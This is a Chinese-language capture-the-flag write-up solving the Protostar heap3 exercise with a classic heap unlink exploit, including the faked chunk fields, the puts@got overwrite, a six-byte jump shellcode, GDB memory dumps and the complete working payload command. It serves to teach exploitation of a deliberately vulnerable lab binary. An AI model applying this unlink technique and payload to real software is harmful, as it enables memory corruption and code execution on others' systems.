1 概述
https://exploit-exercises.com/protostar/heap3/
本題展示了classic heap unlink exploit。
前置技能:
要了解ptmalloc堆;
熟悉classic heap unlink exploit。
2 題目
Heap3.c
3 思路
Heap3是使用GLIBC_2.0靜態編譯的。Glibc 2.3.4之前都沒有FD/BK鏈表檢查。因此,可以使用classic heap unlink exploit。
#查看使用的glibc版本
$ strings ./heap3 | grep GLIBC
GLIBC_2.0
【思路】
很明顯,strcpy可以造成溢出,可以使用classic heap unlink exploit。
但是,這裏使用classic heap unlink exploit有幾個問題:
(1)malloc分配的是fast chunk,free後會放入fast bin鏈表頭部,不會進入small chunk/large chunk的unlink和合並流程。
查看glibc 2.0.6的代碼,那個時候還沒有fast chunk;
即使有fast chunk,也可以strcpy時覆蓋size字段,讓chunk變爲small chunk;
(2)釋放是先釋放高地址chunk的,後釋放低地址chunk的。爲了使用用戶提供的數據,這裏需要unlink和合並低地址的chunk,但是低地址的chunk還沒有被釋放了。
Ptmalloc是通過size字段PREV_INUSE標誌(最低比特)判斷的,爲1表示低地址chunk在使用,爲0表示已釋放。因此可以覆蓋size字段,讓其最低比特爲0即可讓ptmalloc誤認爲低地址chunk已被釋放。同時由於用戶輸入的數據不能包含0,這裏使用負數-4。
(3)Ptmalloc獲取低地址chunk,是通過本chunk的地址減去prev_size字段得到的,通過覆蓋prev_size,可以控制低地址chunk的位置。如果prev_size爲負數,則獲取的低地址chunk實際上比本chunk地址大。
(4)剛開始第一反應是使用unlink來修改puts@got處的值爲addr_of_winner。但是使用unlink修改時,fd-3*U和bk-2*U兩個地址必須可寫。而addr_of_winner位於代碼段,不可寫。這裏通過可寫的shellcode跳轉到winner函數的。
【實施過程】
堆內存佈局如下:
chunk1 | prev_size |
|
size |
| |
fd&bk/data[32] Shellcode | "A"*4 | |
chunk2 | prev_size |
|
size |
| |
fd&bk/data[32] | "A"*32 | |
chunk3 | prev_size | -8 |
size | -4 | |
fd&bk/data[32]/ | "A"*8/"CCCC\0" | |
data+8/fake_prev_chunk.fd&bk | addr_puts@got-12 |
1. Winner函數的地址
題目的最終目標是控制EIP,執行winner函數。
Winner函數的地址
$ readelf -s ./heap3 | grep win 74: 08048864 37 FUNC GLOBAL DEFAULT 14 winne |
2. Chunk的地址
GDB調試發現3個chunk的地址分別爲:
0x0804c000
0x0804c028
0x0804c050
(gdb) b main Breakpoint 1 at 0x8048892: file heap3/heap3.c, line 16. (gdb) r (gdb) b *0x0804889e (gdb) b *0x080488ae (gdb) b *0x080488be (gdb) c (gdb) x $eax 0x804c008: 0x00000000 (gdb) c (gdb) x $eax 0x804c030: 0x00000000 (gdb) c (gdb) x $eax 0x804c058: 0x00000000 |
3. puts@got的地址
$ readelf -r ./heap3 |grep puts
0804b128 00000e07 R_386_JUMP_SLOT 00000000 puts
0x0804b128-12 = 0x0804b11c
4. shellcode
跳轉到winne函數:
push 0x08048864
ret
對應的彙編代碼爲:
\x68\x64\x88\x04\x08\xc3
利用在線彙編與反彙編
https://defuse.ca/online-x86-assembler.htm#disassembly
shellcode的地址是chunk1+0x0c
5. GDB調試中的堆內存佈局:
(gdb) b main Breakpoint 1 at 0x8048892: file heap3/heap3.c, line 16. (gdb) r $(python -c 'print "A" * 4 + "\x68\x64\x88\x04\x08\xc3"') $(python -c 'print "A" * 32 + "\xf8\xff\xff\xff" + "\xfc\xff\xff\xff" + "A" * 8 + "\x1c\xb1\x04\x08" + "\x0c\xc0\x04\x08"') CCCC (gdb) b *0x08048911 Breakpoint 2 at 0x8048911: file heap3/heap3.c, line 24. (gdb) c Continuing.
Breakpoint 2, 0x08048911 in main (argc=4, argv=0xbffffd24) at heap3/heap3.c:24 24 in heap3/heap3.c (gdb) x/120bx 0x0804c000 0x804c000: 0x00 0x00 0x00 0x00 0x29 0x00 0x00 0x00 0x804c008: 0x41 0x41 0x41 0x41 0x68 0x64 0x88 0x04 0x804c010: 0x08 0xc3 0x00 0x00 0x00 0x00 0x00 0x00 0x804c018: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c020: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c028: 0x00 0x00 0x00 0x00 0x29 0x00 0x00 0x00 0x804c030: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x804c038: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x804c040: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x804c048: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x804c050: 0xf8 0xff 0xff 0xff 0xfc 0xff 0xff 0xff 0x804c058: 0x43 0x43 0x43 0x43 0x00 0x41 0x41 0x41 0x804c060: 0x1c 0xb1 0x04 0x08 0x0c 0xc0 0x04 0x08 0x804c068: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c070: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 |
6. Unlink說明
Ø 首先,輸入精心準備的數據。
Chunk1中填入”AAAA” + shellcode
Chunk2中填入"A" * 32,
同時覆蓋chunk3的prev_size字段爲-8("\xf8\xff\xff\xff"),
覆蓋chunk3的size字段爲-4("\xfc\xff\xff\xff")
覆蓋chunk3的data字段爲"A" * 8 + "\x1c\xb1\x04\x08" + "\x0c\xc0\x04\x08",這實際上是chunk3的fake_prev_chunk的前4個字段。
Chunk3中填入”CCCC\0”
這會覆蓋chunk2已經填入的數據"A" * 8會被覆蓋一部分。
Ø free(c)時chunk3被釋放
if (!(hd & PREV_INUSE)) /* consolidate backward */
{
prevsz = p->prev_size;
p = chunk_at_offset(p, -prevsz);
sz += prevsz;
unlink(p, bck, fwd);
}
定位低地址chunk時,是通過chunk3地址減去其prevsize字段得到的。
這裏chunk3的prev_size是-8,因此定位的低地址chunk(稱爲fake_prev_chunk)指向了chunk3的data部分。
Ø Unlink fake_prev_chunk
因爲chunk3的size字段(-4)最低比特(PREV_INUSE)爲0,因此判斷低地址chunk是空閒的,可以unlink。
Unlink fake_prev_chunk,會造成
A+3*U的位置寫入了B
B+2*U的位置寫入了A
這裏A+3*U指向puts@got,B指向shellcode
最終會造成puts@got地址處寫入了shellcode的地址;
Shellcode+2*U的地址處寫入了puts@got的地址-3*U
這裏shellcode只有6個字節,shellcode+8被改寫沒有什麼影響
Ø 最終調用printf的時候,由於沒有格式化參數,最終調用的是puts。
Puts被我們改爲了指向shellcode,控制權轉向shellcode;
Ø shellcode執行後,控制器轉向winner函數
push 0x08048864
ret
7. 測試結果:
$ /opt/protostar/bin/heap3 $(python -c 'print "A" * 4 + "\x68\x64\x88\x04\x08\xc3"') $(python -c 'print "A" * 32 + "\xf8\xff\xff\xff" + "\xfc\xff\xff\xff" + "A" * 8 + "\x1c\xb1\x04\x08" + "\x0c\xc0\x04\x08"') CCCC that wasn't too bad now, was it? @ 1524024651 |
4 附件
5 結論
1. 如果不是small chunk,可以覆蓋size字段,讓chunk變爲small chunk。
2. 可以覆蓋size字段,讓其最低比特爲0(PREV_INUSE)即可讓ptmalloc誤認爲低地址chunk已被釋放。同時由於用戶輸入的數據不能包含0,可以使用負數如-4。
3. 通過覆蓋prev_size,可以控制低地址chunk的位置。如果prev_size爲負數,則獲取的低地址chunk實際上比本chunk地址大。例如prev_size爲-8時,獲取的低地址chunk實際上是chunk的數據部分。
4. unlink修改got表項時,要注意,被修改的值+2*U的地方必須可寫。由於代碼段不可寫,如果要轉向代碼段的函數,可以通過shellcode跳轉到代碼段。
6 參考文檔
1. https://gist.github.com/mgeeky/2eea516d7ad732d9f02f530688f55912
2. http://grantcurell.com/2015/08/16/protostar-exploit-challenges-heap3-solution-exploiting-dlmalloc/